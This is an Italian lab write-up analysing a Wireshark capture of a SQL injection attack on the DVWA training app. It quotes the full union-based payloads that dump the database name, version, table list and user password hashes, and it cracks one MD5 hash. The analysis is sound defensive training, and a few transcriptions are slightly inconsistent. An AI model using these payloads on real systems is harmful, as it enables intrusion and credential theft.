

SQLI PCAP ON WIRESHARK:

PCAP Wireshark di un SQLi. Avvio Wireshark su VM CyberOps e apro file pcap di laboratorio.

Time	Source	Destination	Protocol	Length	Info
1.0.000000	10.0.2.4	10.0.2.15	TCP	74	35614 → 80 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=45838 TSecr=0 WS=128
2.0.000315	10.0.2.15	10.0.2.4	TCP	74	80 → 35614 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM TSval=38535 TSecr=45838 WS=128
3.0.000349	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=45838 TSecr=38535
4.0.000561	10.0.2.4	10.0.2.15	HTTP	654	POST /dwa/login.php HTTP/1.1 (application/x-www-form-urlencoded)
5.0.002149	10.0.2.15	10.0.2.4	TCP	66	80 → 35614 [ACK] Seq=1 Ack=589 Win=30208 Len=0 TSval=38536 TSecr=45838
6.0.005700	10.0.2.15	10.0.2.4	HTTP	430	HTTP/1.1 302 Found
7.0.005700	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=589 Ack=365 Win=30336 Len=0 TSval=45840 TSecr=38536
8.0.014383	10.0.2.4	10.0.2.15	HTTP	496	GET /dwa/index.php HTTP/1.1
9.0.015485	10.0.2.15	10.0.2.4	HTTP	3187	HTTP/1.1 200 OK (text/html)
10.0.015485	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=1819 Ack=3406 Win=36480 Len=0 TSval=45843 TSecr=38539
11.0.056625	10.0.2.4	10.0.2.15	HTTP	429	GET /dwa/dwa/css/main.css HTTP/1.1
12.0.070400	10.0.2.15	10.0.2.4	HTTP	1511	HTTP/1.1 200 OK (text/css)
13.174.254430	10.0.2.4	10.0.2.15	HTTP	536	GET /dwa/vulnerabilities/sqli/?id=1%3D1&Submit=Submit HTTP/1.1
14.174.254581	10.0.2.15	10.0.2.4	TCP	66	80 → 35638 [ACK] Seq=1 Ack=471 Win=235 Len=0 TSval=82101 TSecr=98114
15.174.257909	10.0.2.15	10.0.2.4	HTTP	1861	HTTP/1.1 200 OK (text/html)
16.220.490531	10.0.2.4	10.0.2.15	HTTP	577	GET /dwa/vulnerabilities/sqli/?id=1%27*or*%270%27%3D0%270+&Submit=Submit HTTP/1.1
17.220.490637	10.0.2.15	10.0.2.4	TCP	66	80 → 35640 [ACK] Seq=1 Ack=512 Win=235 Len=0 TSval=93660 TSecr=111985
18.220.493085	10.0.2.15	10.0.2.4	HTTP	1918	HTTP/1.1 200 OK (text/html)
19.277.727722	10.0.2.4	10.0.2.15	HTTP	630	GET /dwa/vulnerabilities/sqli/?id=1%27*or*1%3D1+union+select+database%28%29%2C+user%28%29%23&Submit=Submit HTTP/1.1
20.277.727871	10.0.2.15	10.0.2.4	TCP	66	80 → 35642 [ACK] Seq=1 Ack=565 Win=236 Len=0 TSval=107970 TSecr=129156
21.277.732200	10.0.2.15	10.0.2.4	HTTP	1955	HTTP/1.1 200 OK (text/html)
22.313.710129	10.0.2.4	10.0.2.15	HTTP	659	GET /dwa/vulnerabilities/sqli/?id=1%27*or*1%3D1+union+select+null%2C+version%28%29%23&Submit=Submit HTTP/1.1
23.313.710277	10.0.2.15	10.0.2.4	TCP	66	80 → 35644 [ACK] Seq=1 Ack=594 Win=236 Len=0 TSval=116966 TSecr=139951
24.313.712414	10.0.2.15	10.0.2.4	HTTP	1954	HTTP/1.1 200 OK (text/html)
25.383.277832	10.0.2.4	10.0.2.15	HTTP	680	GET /dwa/vulnerabilities/sqli/?id=1%27*or*1%3D1+union+select+null%2C+table_name+from+information_schema.tables%23&Submit=Submit HTTP/1.1
26.383.277811	10.0.2.15	10.0.2.4	TCP	66	80 → 35666 [ACK] Seq=1 Ack=615 Win=236 Len=0 TSval=134358 TSecr=160821
27.383.284289	10.0.2.15	10.0.2.4	HTTP	4068	HTTP/1.1 200 OK (text/html)
28.441.804078	10.0.2.4	10.0.2.15	HTTP	685	GET /dwa/vulnerabilities/sqli/?id=1%27*or*1%3D1+union+select+user%2C+password+from+users%23&Submit=Submit HTTP/1.1
29.441.804427	10.0.2.15	10.0.2.4	TCP	66	80 → 35668 [ACK] Seq=1 Ack=620 Win=236 Len=0 TSval=148990 TSecr=178379
30.441.807206	10.0.2.15	10.0.2.4	HTTP	2091	HTTP/1.1 200 OK (text/html)

Frame 13: 536 bytes on wire (4288 bits), 536 bytes captured (4288 bits) on interface eth0
 Ethernet II, Src: PCSSystemtec_ca:e1:24 (08:00:27:ca:e1:24), Dst: PCSSystemtec_9f:6e:55 (08:00:27:9f:6e:55)
 Internet Protocol Version 4, Src: 10.0.2.4, Dst: 10.0.2.15
 Transmission Control Protocol, Src Port: 35638, Dst Port: 80, Seq: 1, Ack: 1, Len: 536
 Hypertext Transfer Protocol

GET /dwa/vulnerabilities/sqli/?id=1%3D1&Submit=Submit HTTP/1.1
 Host: 10.0.2.15

Request Method: GET

Request URI: /dwa/vulnerabilities/sqli/?id=1%3D1&Submit=Submit

Request URI Path: /dwa/vulnerabilities/sqli/

Request URI Query: id=1%3D1&Submit=Submit

Request URI Query Parameter: id=1%3D1

Request URI Query Parameter: Submit=Submit

La richiesta http GET su frame 13 è il chiaro primo probe di SQL injection come si può vedere anche in plaintext da pacchetto. Ma andiamo a seguire il flow https e accertarci meglio.

?id=1%3D1 → id=1=1

Se vulnerabile il server ritorna 200 con dati user di id.

```
<div class="vulnerable_code_area">
  <form action="#" method="GET">
    <p>
      User ID:
      <input type="text" size="15" name="id">
      <input type="submit" name="Submit" value="Submit">
    </p>
  </form>
  <pre>ID: 1=1<br />First name: admin<br />Surname: admin</pre>
</div>
```

```
Hypertext Transfer Protocol
GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+database%28%29%2C+user%28%29%2C+version%28%29%2C+Submit=Submit HTTP/1.1
Host: 10.0.2.15\r\n
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+database%28%29%2C+user%28%29%2C+version%28%29%2C+Submit=Submit HTTP/1.1\r\n
Cookie: security=low; PHPSESSID=ml2n7d0t4rem6k0n4is82u5157r\r\n
0040 a5 c1 47 45 54 20 2f 64 76 77 61 2f 76 75 6c 6e GET /d vwa/vuln
0050 65 72 61 62 69 6c 69 74 69 65 73 2f 73 71 6c 69 erabilit ies/sqli
0060 2f 3f 69 64 3d 31 25 32 37 2b 6f 72 2b 31 25 33 /?id=1%2 7+or+1%3
0070 44 31 2b 75 6e 69 6f 6e 2b 73 65 6c 65 63 74 2b 01+union +select+
0080 64 61 74 61 62 61 73 65 25 32 38 25 32 39 25 32 database %28%29%2
0090 43 2b 75 73 65 72 25 32 38 25 32 39 25 32 33 26 C+user%2 8%29%23%
00a0 53 75 62 6d 69 74 3d 53 75 62 6d 69 74 20 48 54 Submit=5 ubmit HT
00b0 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 30 TP/1.1.. Host: 10
00c0 2e 30 2e 32 2e 31 35 0d 0a 55 73 65 72 2d 41 67 .0.2.15. User-Ag
00d0 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 ent: Moz illa/5.0
00e0 20 28 58 31 31 3b 20 4c 69 6e 75 78 20 69 36 38 (X11; L inux i68
00f0 36 3b 20 72 76 3a 35 30 2e 30 29 20 47 65 63 6b 6; rv:50 .0) Geck
0100 6f 2f 32 30 31 30 30 31 30 31 20 46 69 72 65 66 o/201001 01 Firef
0110 6f 78 2f 35 30 2e 30 0d 0a 41 63 63 65 70 74 3a ox/50.0. Accept:
0120 20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 text/ht ml,appli
0130 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c cation/x html+xml
0140 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c , applica tion/xml
0150 3b 71 3d 30 2e 39 2c 2a 2f 2a 3b 71 3d 30 2e 38 ;q=0.9,* /*;q=0.8
0160 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 .Accept -Languag
0170 65 3a 20 65 6e 2d 55 53 2c 65 6e 3b 71 3d 30 2e e: en-US ,en;q=0.
0180 35 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 5. Accept t-Encodi
0190 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 ng: gzip , deflat
```

Frame 19 è anche molto ovviamente un tentativo di SQLi, in questo caso usa un metodo di injection per estrarre nome database corrente e user database.

?id=1' or 1=1 union select database(),user())#

Vediamo da flow http il risultato:

```
<div class="vulnerable_code_area">
  <form action="#" method="GET">
    <p>
      User ID:
      <input type="text" size="15" name="id">
      <input type="submit" name="Submit" value="Submit">
    </p>
  </form>
  <pre>ID: 1' or 1=1 union select database(), user())#<br />First name: admin<br />Surname: admin</pre><pre>ID: 1' or 1=1 union select database(), user())#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' or 1=1 union select database(), user())#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select database(), user())#<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select database(), user())#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1 union select database(), user())#<br />First name: dvwa<br />Surname: root@localhost/</pre>
</div>
```

Prima restituisce un numero di utenti nel db e infine restituisce il nome database “dvwa” e user root@localhost quindi il DB agisce come root, grande vulnerabilità.

Ora il threat actor certamente cercherà di fare query al database molto importanti di credenziali, enumerazione del server, tutto ciò che può aumentare la sua superficie di attacco e accesso a risorse su server. Vedremo ciò nel frame 22

```
Hypertext Transfer Protocol
GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+null%2C+version%28%29%2C+Submit=Submit HTTP/1.1
Host: 10.0.2.15\r\n
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+null%2C+version%28%29%2C+Submit=Submit HTTP/1.1\r\n
Cookie: security=low; PHPSESSID=ml2n7d0t4rem6k0n4is82u5157r\r\n
Connection: keep-alive\r\n
Upgrade-Insecure-Requests: 1\r\n
0040 c8 e5 47 45 54 20 2f 64 76 77 61 2f 76 75 6c 6e GET /d vwa/vuln
0050 65 72 61 62 69 6c 69 74 69 65 73 2f 73 71 6c 69 erabilit ies/sqli
0060 2f 3f 69 64 3d 31 25 32 37 2b 6f 72 2b 31 25 33 /?id=1%2 7+or+1%3
0070 44 31 2b 75 6e 69 6f 6e 2b 73 65 6c 65 63 74 2b 01+union +select+
0080 64 61 74 61 62 61 73 65 25 32 38 25 32 39 25 32 database %28%29%2
0090 43 2b 75 73 65 72 25 32 38 25 32 39 25 32 33 26 C+user%2 8%29%23%
00a0 53 75 62 6d 69 74 3d 53 75 62 6d 69 74 20 48 54 Submit=5 ubmit HT
00b0 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 30 TP/1.1.. Host: 10.0.2.1
00c0 2e 30 2e 32 2e 31 35 0d 0a 55 73 65 72 2d 41 67 .0.2.15. User-Ag
00d0 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 58 31 31 3b Mozilla/5 .0 (X11;
00e0 20 4c 69 6e 75 78 20 69 36 38 36 3b 20 72 76 3a Linux i686; rv:
00f0 35 30 2e 30 29 20 47 65 63 66 6f 2f 32 30 31 30 50.0) Gecko/2010
0100 30 31 30 31 20 46 69 72 65 66 6f 78 2f 35 30 2e 0101 Fir efox/50.
0110 30 0d 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f 0. Accept t: text/
0120 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e html, app lication
0130 2f 78 68 74 6d 6c 2b 78 68 6d 6c 2c 61 70 70 6c 69 /xhtml+ x ml, appli
0140 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 3d 30 2e 30 cation/x ml;q=0.9
0150 2c 2a 2f 2a 3b 71 3d 30 2e 38 0d 0a 41 63 63 65 ,/*;q=0 .8. Acce
0160 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 2d pt-Langu age: en-
0170 55 53 2c 65 6e 3b 71 3d 30 2e 35 0d 0a 41 63 63 US,en;q= 0.5. Acc
0180 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a ept-Enco ding: gz
0190 69 70 2c 20 64 65 66 6c 61 74 65 6d 0a 52 65 66 ip, defl ate: Ref
01a0 65 72 65 72 3a 20 68 74 74 70 6f 2f 2f 31 30 2e erer: ht tp://10.
01b0 30 2e 32 2e 31 35 2f 64 76 77 61 2f 76 75 6c 6e 0.2.15/d vwa/vuln
01c0 65 72 61 62 69 6c 69 74 69 65 73 2f 73 71 6c 69 erabilit ies/sqli
01d0 2f 3f 69 64 3d 31 25 32 37 2b 6f 72 2b 31 25 33 /?id=1%2 7+or+1%3
```

```
<div class="vulnerable_code_area">
  <form action="#" method="GET">
    <p>
      User ID:
      <input type="text" size="15" name="id">
      <input type="submit" name="Submit" value="Submit">
    </p>
  </form>
  <pre>ID: 1' or 1=1 union select null, version ()#<br />First name: admin<br />Surname: admin</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: <br />Surname: 5.7.12-0ubuntu1.1</pre>
</div>

<h2>More Information</h2>
<ul>
  <li><a href="http://www.securiteam.com/securityreviews/5DP0N1P76E.html" target="_blank">http://www.securiteam.com/securityreviews/5DP0N1P76E.html</a></li>
  <li><a href="https://en.wikipedia.org/wiki/SQL_injection" target="_blank">https://en.wikipedia.org/wiki/SQL_injection</a></li>
  <li><a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/" target="_blank">http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/</a></li>
  <li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet" target="_blank">http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet</a></li>
  <li><a href="https://www.owasp.org/index.php/SQL_Injection" target="_blank">https://www.owasp.org/index.php/SQL_Injection</a></li>
  <li><a href="http://bobby-tables.com/" target="_blank">http://bobby-tables.com/</a></li>
</ul>
</div>
```

Nel frame 22 l'attaccante utilizza una tecnica per conoscere l'esatta versione dell'engine del database.

?id=1' or 1=1 union select null, version()#

Possiamo vedere come il database dvwa ha restituito la versione 5.7.12-0Ubuntu1.1 che ora può essere enumerata per exploit conosciuti.

```
Internet Protocol Version 4, Src: 10.0.2.4, Dst: 10.0.2.15
Transmission Control Protocol, Src Port: 35666, Dst Port: 80, Seq: 1, Ack: 1, Len: 108
Hypertext Transfer Protocol
  GET /dvwa/vulnerabilities/sqli/?id=1%27or%1%3D1+union+select+null%2C+table_name+from+information_schema.tables%23 HTTP/1.1
    Request Method: GET
    Request URI: /dvwa/vulnerabilities/sqli/?id=1%27or%1%3D1+union+select+null%2C+table_name+from+information_schema.tables%23
    Request URI Path: /dvwa/vulnerabilities/sqli/
    Request URI Query: id=1%27or%1%3D1+union+select+null%2C+table_name+from+information_schema.tables%23
    Request URI Query Parameter: id=1%27
    Request URI Query Parameter: or
    Request URI Query Parameter: 1%3D1
    Request URI Query Parameter: union
    Request URI Query Parameter: select
    Request URI Query Parameter: null%2C
    Request URI Query Parameter: table_name
    Request URI Query Parameter: from
    Request URI Query Parameter: information_schema.tables%23
    Request URI Query Parameter: Submit=Submit
    Request Version: HTTP/1.1
  Host: 10.0.2.15\r\n
  User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
  Accept-Language: en-US,en;q=0.5\r\n
  Accept-Encoding: gzip, deflate\r\n
  Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1%27or%1%3D1+union+select+null%2C+table_name+from+information_schema.tables%23
```

nel frame 25 fa un enorme Query al database di molteplici informazioni per una enumerazione dei tai su table completa anche se difficilmente navigabile in questo stato.

Controllerà nel frame 28 invece le credenziali degli utenti su DB usando:

?id=1' or 1=1 union select user, password from user#

Efiltrando così solo le password di cui lui ha bisogno per accedere a dati sensibili o ulteriore infiltrazione nel sistema.

```
</form>
<pre>ID: 1' or 1=1 union select user, password from users#<br />First name: admin<br />Surname: admin</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: admin<br />Surname: 5f4dc3b5aa765d61d8327deb882cf99</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: gordon<br />Surname: e99a18c428cb38d5f260853678922e03</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: 1337<br />Surname: 8d533d75ae2c3966d7e0d4fcc69216b</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: pablo<br />Surname: 0d107d09f5bbe40cade3de5c71e9e9b7</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: smithy<br />Surname: 5f4dc3b5aa765d61d8327deb882cf99</pre>
</div>

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  <li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet" target="_blank">http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet</a></li>
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  <li><a href="http://bobby-tables.com/" target="_blank">http://bobby-tables.com/</a></li>
</ul>
</div>
```

Vediamo dal risultato risposta del server le password cifrate in algoritmo md5 altamente vulnerabile e non crittograficamente sicuro.

Ad esempio andiamo ad osservare l'utente "1337" (leet, internet jargon/slang usually associated with threat actors/script kiddies)

```
'>First name: 1337<br />Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
```

Come da istruzione dell'esercizio andremo sul sito website crackstation.net pubblico. In una vera situazione di penetration testing o se si trattasse di credenziali di utenti reali questo sarebbe non solo estremamente illegale, ma anche con il loro permesso di esfiltrare le loro informazioni per un esercizio comprometterebbe l'opsec del cliente.

Hash	Type	Result
8d3533d75ae2c3966d7e0d4fcc69216b	md5	charley

La password era, infatti, crittografata con md5 ed è "charley", una password non solo cifrata con algoritmo non sicuro ma estremamente corta, priva di complessità come simboli e numeri o caratteri UPPERCASE e si tratta di un nome di persona quindi anche completamente esposto a wordlists.

TIME IT TAKES A HACKER TO BRUTE FORCE YOUR PASSWORD IN 2024

How did we make this? Learn at hivesystems.com/password

Number of Characters	Numbers Only	Lowercase Letters	Upper and Lowercase Letters	Numbers, Upper and Lowercase Letters	Numbers, Upper and Lowercase Letters, Symbols
4	Instantly	Instantly	3 secs	6 secs	9 secs
5	Instantly	4 secs	2 mins	6 mins	10 mins
6	Instantly	2 mins	2 hours	6 hours	12 hours
7	4 secs	50 mins	4 days	2 weeks	1 month
8	37 secs	22 hours	8 months	3 years	7 years
9	6 mins	3 weeks	33 years	161 years	479 years
10	1 hour	2 years	1k years	9k years	33k years
11	10 hours	44 years	89k years	618k years	2m years
12	4 days	1k years	4m years	38m years	164m years
13	1 month	29k years	241m years	2bn years	11bn years
14	1 year	766k years	12bn years	147bn years	805bn years
15	12 years	19m years	652bn years	9tn years	56tn years
16	119 years	517m years	33tn years	566tn years	3qd years
17	1k years	13bn years	1qd years	35qd years	276qd years
18	11k years	350bn years	91qd years	2qn years	19qn years

 **HIVE SYSTEMS**

Hardware: 12 x RTX 4090 | Password hash: bcrypt

Time it takes a hacker to brute force your password in 2025

Hardware: 12 x RTX 5090 | Password hash: bcrypt (10)

Number of Characters	Numbers Only	Lowercase Letters	Upper and Lowercase Letters	Numbers, Upper and Lowercase Letters	Numbers, Upper and Lowercase Letters, Symbols
4	Instantly	Instantly	Instantly	Instantly	Instantly
5	Instantly	Instantly	57 minutes	2 hours	4 hours
6	Instantly	46 minutes	2 days	6 days	2 weeks
7	Instantly	20 hours	4 months	1 year	2 years
8	Instantly	3 weeks	15 years	62 years	164 years
9	2 hours	2 years	791 years	3k years	11k years
10	1 day	40 years	41k years	238k years	803k years
11	1 weeks	1k years	2m years	14m years	56m years
12	3 months	27k years	111m years	917m years	3bn years
13	3 years	705k years	5bn years	56bn years	275bn years
14	28 years	18m years	300bn years	3tn years	19tn years
15	284 years	477m years	15tn years	218tn years	1qd years
16	2k years	12bn years	812tn years	13qd years	94qd years
17	28k years	322bn years	42qd years	840qd years	6qn years
18	284k years	8tn years	2qn years	52qn years	463qn years

 **Hive Systems**

Read more and download at hivesystems.com/password

4